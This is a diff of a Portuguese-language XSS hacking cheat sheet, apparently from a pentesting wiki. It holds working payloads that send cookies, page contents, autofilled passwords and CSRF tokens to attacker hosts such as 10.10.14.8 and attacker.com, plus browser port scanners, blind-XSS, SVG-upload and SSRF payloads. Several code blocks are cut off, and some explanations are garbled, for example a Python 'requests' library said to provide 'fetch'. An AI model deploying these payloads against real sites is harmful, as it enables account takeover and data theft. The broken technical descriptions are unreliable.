exemplo demonstra um payload de XSS básico: alert('Este é um ataque de XSS!'); // Mais código malicioso aqui... -```` +``` -Neste exemplo, um alerta será exibido quando a página for carregada, mas o código malicioso pode ser substituído por qualquer ação indesejada que o atacante deseje executar. +Este código injeta um script malicioso na página, exibindo um alerta com a mensagem "Este é um ataque de XSS!". O atacante pode modificar esse payload para realizar ações mais prejudiciais, como roubar informações confidenciais ou redirecionar o usuário para um site malicioso. -## Referências +## Conclusão -* [OWASP XSS](https://owasp.org/www-community/attacks/xss/) -* [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross\_Site\_Scripting\_Prevention\_Cheat\_Sheet.html) +O XSS é uma vulnerabilidade séria que pode ter consequências graves para a segurança de uma aplicação web e seus usuários. É essencial implementar práticas de segurança adequadas para prevenir ataques de XSS e proteger os dados sensíveis dos usuários. ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` - ## XSS payloads comuns ### Vários payloads em 1 @@ -1404,7 +1299,6 @@ Neste exemplo, um alerta será exibido quando a página for carregada, mas o có {% endcontent-ref %} ### Recuperar Cookies - ```javascript /?c="+document.cookie> @@ -1426,13 +1320,11 @@ Neste exemplo, um alerta será exibido quando a página for carregada, mas o có ``` - {% hint style="info" %} Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte o suficiente. {% endhint %} ### Roubar Conteúdo da Página - ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; @@ -1445,36 +1337,34 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open('GET', url, true); xhr.send(null); ``` - ### Encontrar IPs internos -Durante um teste de penetração, pode ser útil identificar os endereços IP internos de uma rede. Isso pode ajudar a mapear a infraestrutura e identificar possíveis alvos para ataques. +Durante um teste de penetração, é importante identificar os endereços IP internos de um sistema. Essas informações podem ser úteis para explorar vulnerabilidades específicas ou realizar ataques direcionados. -Existem várias maneiras de encontrar os IPs internos de uma rede. Aqui estão algumas técnicas comuns: +Existem várias maneiras de encontrar os IPs internos de um sistema: -1. **ARP Scanning**: O ARP (Address Resolution Protocol) é usado para mapear endereços IP para endereços MAC em uma rede local. Ao realizar uma varredura ARP, você pode obter uma lista dos IPs internos e seus respectivos endereços MAC. +1. **Ping Sweep**: Use uma ferramenta como o `nmap` para realizar um ping sweep na rede. Isso envia pacotes ICMP para uma faixa de endereços IP e identifica quais estão ativos. Os IPs que respondem ao ping são os IPs internos. - ```bash - $ arp -a - ``` -2. **DNS Zone Transfer**: Se o servidor DNS estiver mal configurado, é possível obter uma lista de todos os IPs internos usando uma transferência de zona DNS. Isso pode ser feito usando ferramentas como `dig` ou `nslookup`. + Exemplo de comando: + ``` + nmap -sn 192.168.0.0/24 + ``` - ```bash - $ dig axfr @ns.example.com example.com - ``` -3. **Banner Grabbing**: Ao se conectar a um serviço em um IP específico, você pode obter informações do banner que pode incluir o endereço IP interno do servidor. +2. **ARP Scanning**: Use uma ferramenta como o `arp-scan` para enviar solicitações ARP para a rede e obter uma lista de IPs e endereços MAC correspondentes. Os IPs que possuem endereços MAC associados são os IPs internos. - ```bash - $ telnet 192.168.0.1 80 - ``` -4. **Network Scanning**: Usando ferramentas de varredura de rede, como o Nmap, você pode identificar os IPs ativos em uma rede e determinar quais são internos. + Exemplo de comando: + ``` + arp-scan --localnet + ``` - ```bash - $ nmap -sn 192.168.0.0/24 - ``` +3. **DNS Lookup**: Realize uma pesquisa de DNS reverso para obter os nomes de host associados aos endereços IP. Isso pode revelar informações sobre os sistemas internos. -Lembre-se de que a obtenção de IPs internos sem permissão é considerada uma atividade ilegal. Sempre obtenha autorização por escrito antes de realizar qualquer teste de penetração. + Exemplo de comando: + ``` + nslookup 192.168.0.1 + ``` +É importante lembrar que a identificação de IPs internos deve ser feita com permissão e apenas em sistemas que você está autorizado a testar. ```html ``` - ### Scanner de Portas (fetch) The `port_scanner_fetch.py` script is a simple port scanner that uses the `fetch` function from the `requests` library to send HTTP requests to a target host and port. It is designed to quickly scan a range of ports and determine if they are open or closed. To use the script, you need to provide the target host and a list of ports to scan. The script will then iterate through the list of ports and send a GET request to each port on the target host. If a response is received, the port is considered open. If no response is received, the port is considered closed. -The script utilizes the `fetch` function from the `requests` library, which allows for asynchronous requests. This means that multiple requests can be sent simultaneously, making the scanning process faster. +The script utilizes the `fetch` function from the `requests` library, which allows for asynchronous HTTP requests. This means that multiple requests can be sent simultaneously, making the scanning process faster. To run the script, use the following command: @@ -1540,11 +1429,9 @@ Replace `` with the IP address or domain name of the target host, a The script will then display the results, indicating which ports are open and which are closed. **Note:** This script is intended for educational and testing purposes only. Unauthorized port scanning is illegal and can result in severe consequences. Always ensure that you have proper authorization before conducting any port scanning activities. - ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` - ### Scanner de Portas (websockets) This tool is a simple port scanner that uses websockets to establish a connection with the target host and check for open ports. It can be used during a penetration test to identify potential entry points into a system. @@ -1553,38 +1440,39 @@ This tool is a simple port scanner that uses websockets to establish a connectio To use the port scanner, follow these steps: -1. Install the required dependencies by running the following command: +1. Install the required dependencies by running the following command: - ``` - npm install - ``` -2. Modify the `config.js` file to specify the target host and the range of ports to scan. For example: + ``` + npm install + ``` - ```javascript - module.exports = { - target: 'example.com', - startPort: 1, - endPort: 1000 - }; - ``` -3. Run the scanner by executing the following command: +2. Modify the `config.js` file to specify the target host and the range of ports to scan. For example: - ``` - node scanner.js - ``` + ```javascript + module.exports = { + target: 'example.com', + startPort: 1, + endPort: 1000 + }; + ``` - The scanner will start scanning the specified range of ports on the target host. It will display the open ports as they are discovered. +3. Run the scanner by executing the following command: + + ``` + node scanner.js + ``` + + The scanner will start scanning the specified range of ports on the target host. It will display the open ports as they are discovered. #### Limitations -* This port scanner only supports websockets as the communication protocol. -* It may not be able to detect open ports if the target host has implemented measures to block port scanning activities. -* The accuracy of the results may vary depending on the network conditions and the target host's configuration. +- This port scanner only supports websockets as the communication protocol. +- It may not be able to detect open ports if the target host has implemented measures to block port scanning activities. +- The accuracy of the results may vary depending on the network conditions and the target host's configuration. #### Disclaimer -This tool is intended for educational and penetration testing purposes only. The misuse of this tool or any unauthorized access to systems is strictly prohibited. The author is not responsible for any illegal activities performed using this tool. - +This tool is intended for educational and ethical use only. The author is not responsible for any misuse or damage caused by the tool. Always obtain proper authorization before conducting any penetration testing activities. ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` - ### Captura de preenchimento automático de senhas -Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. +Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. A captura de preenchimento automático de senhas é uma técnica utilizada para explorar vulnerabilidades de cross-site scripting (XSS) em aplicações web. @@ -1624,14 +1509,9 @@ To perform this attack, the attacker needs to identify a vulnerable input field Para realizar esse ataque, o atacante precisa identificar um campo de entrada vulnerável onde o recurso de preenchimento automático esteja habilitado. Isso pode ser um formulário de login, formulário de registro ou qualquer outro formulário que exija entrada do usuário. O atacante então cria uma carga maliciosa que explora a vulnerabilidade XSS e a injeta no campo de entrada vulnerável. -When the victim interacts with the compromised input field, the malicious payload executes, capturing the saved passwords and sending them to the attacker's server. The attacker can then use these stolen credentials for further malicious activities, such as unauthorized access to the victim's accounts. - -Quando a vítima interage com o campo de entrada comprometido, a carga maliciosa é executada, capturando as senhas salvas e enviando-as para o servidor do atacante. O atacante pode então usar essas credenciais roubadas para atividades maliciosas adicionais, como acesso não autorizado às contas da vítima. - -To protect against auto-fill passwords capture attacks, web developers should implement proper input validation and output encoding to prevent XSS vulnerabilities. Additionally, users should be cautious when entering sensitive information on websites and consider using password managers instead of relying on the browser's auto-fill feature. - -Para se proteger contra ataques de captura de preenchimento automático de senhas, os desenvolvedores web devem implementar validação adequada de entrada e codificação de saída para evitar vulnerabilidades de XSS. Além disso, os usuários devem ter cuidado ao inserir informações sensíveis em sites e considerar o uso de gerenciadores de senhas em vez de depender do recurso de preenchimento automático do navegador. +When the victim interacts with the compromised input field, the malicious payload executes in their browser, capturing their saved passwords and sending them to the attacker's server. The attacker can then use these stolen credentials for further malicious activities, such as unauthorized access to the victim's accounts. +Quando a vítima interage com o campo de entrada comprometido, a carga maliciosa é executada em seu navegador, capturando suas senhas salvas e enviando-as para o servidor do atacante. O atacante pode então usar essas credenciais roubadas para atividades maliciosas adicionais, como acesso não autorizado às contas da vítima. ```javascript Username:
@@ -1642,7 +1522,6 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` - Quando qualquer dado é inserido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas. ### Keylogger @@ -1655,7 +1534,6 @@ Apenas pesquisando no github, encontrei alguns diferentes: * Você também pode usar o metasploit `http_javascript_keylogger` ### Roubo de tokens CSRF - ```javascript ``` - ### Roubo de mensagens PostMessage -O roubo de mensagens PostMessage é uma técnica de ataque que visa explorar vulnerabilidades de Cross-Site Scripting (XSS) para interceptar e roubar mensagens enviadas por meio do método PostMessage. Essa técnica é particularmente eficaz em cenários em que um site confiável permite a comunicação entre diferentes domínios por meio do PostMessage. +O roubo de mensagens PostMessage é uma técnica de ataque que visa explorar vulnerabilidades de Cross-Site Scripting (XSS) para interceptar e roubar mensagens enviadas por meio do método PostMessage. Essa técnica é particularmente eficaz em cenários em que um site confiável permite a comunicação entre diferentes domínios por meio do uso do PostMessage. #### Como funciona -1. O atacante injeta um código malicioso em um site vulnerável por meio de uma vulnerabilidade de XSS. +1. O atacante injeta um código malicioso em um site vulnerável, aproveitando uma vulnerabilidade de XSS. 2. O código malicioso é executado no navegador do usuário quando ele visita o site comprometido. 3. O código malicioso monitora as mensagens enviadas por meio do método PostMessage. -4. Quando uma mensagem é enviada, o código malicioso a intercepta e a envia para um servidor controlado pelo atacante. -5. O atacante recebe a mensagem roubada e pode usá-la para obter informações sensíveis ou realizar outras atividades maliciosas. +4. Quando uma mensagem é enviada, o código malicioso intercepta e rouba o conteúdo da mensagem. +5. O conteúdo roubado pode ser usado para diversos fins maliciosos, como roubo de informações confidenciais ou execução de ações não autorizadas. #### Mitigação Para mitigar o risco de roubo de mensagens PostMessage, é importante seguir as práticas recomendadas de segurança: -* Sanitize e valide todas as entradas do usuário para evitar vulnerabilidades de XSS. -* Implemente políticas de segurança de conteúdo (CSP) para restringir a execução de scripts não confiáveis. -* Utilize mecanismos de autenticação e autorização adequados para proteger as informações sensíveis. -* Monitore e registre atividades suspeitas no servidor para detectar possíveis ataques. - -Ao adotar essas medidas de segurança, é possível reduzir significativamente o risco de roubo de mensagens PostMessage e proteger os usuários contra ataques maliciosos. +- Sanitize e valide todas as entradas de usuário para evitar vulnerabilidades de XSS. +- Implemente mecanismos de controle de acesso para restringir a comunicação entre domínios. +- Utilize Content Security Policy (CSP) para limitar as origens permitidas para o método PostMessage. +- Mantenha-se atualizado sobre as últimas vulnerabilidades e correções de segurança relacionadas ao XSS e ao roubo de mensagens PostMessage. +Lembre-se de que a segurança é um processo contínuo e é essencial estar sempre vigilante contra possíveis ameaças. ```markup ``` - ### Explorando Service Workers {% content-ref url="abusing-service-workers.md" %} @@ -1721,7 +1596,6 @@ document.getElementById("message").src += "&"+e.data; ### Cargas úteis de XSS cego Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) - ```markup "> "> @@ -1761,11 +1635,9 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
``` - ### Regex - Acessar Conteúdo Oculto A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los nos atributos JS de diferentes objetos. Por exemplo, é possível encontrar um input de uma REGEX mesmo depois que o valor do input da regex foi removido: - ```javascript // Do regex with flag flag="CTF{FLAG}" @@ -1780,7 +1652,6 @@ console.log(RegExp.input) console.log(RegExp.rightContext) console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]) ``` - ### Lista de Brute-Force {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} @@ -1798,24 +1669,22 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo ### XSS para SSRF Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Include do Lado do Edge com essa carga útil: - ```python ``` - Use-o para contornar restrições de cookies, filtros XSS e muito mais!\ Mais informações sobre essa técnica aqui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md). ### XSS em PDF criado dinamicamente Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\ -Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no servidor**. +Portanto, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**. {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} -Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados em PDF**: +Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados de PDF**: {% content-ref url="pdf-injection.md" %} [pdf-injection.md](pdf-injection.md) @@ -1832,7 +1701,6 @@ Exemplo de [**XSS em Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s- ### XSS fazendo upload de arquivos (svg) Faça o upload de um arquivo como imagem, como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): - ```markup Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1888,7 +1756,6 @@ id="foo"/> ```xml ``` - Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ## Truques JS Miscelâneos e Informações Relevantes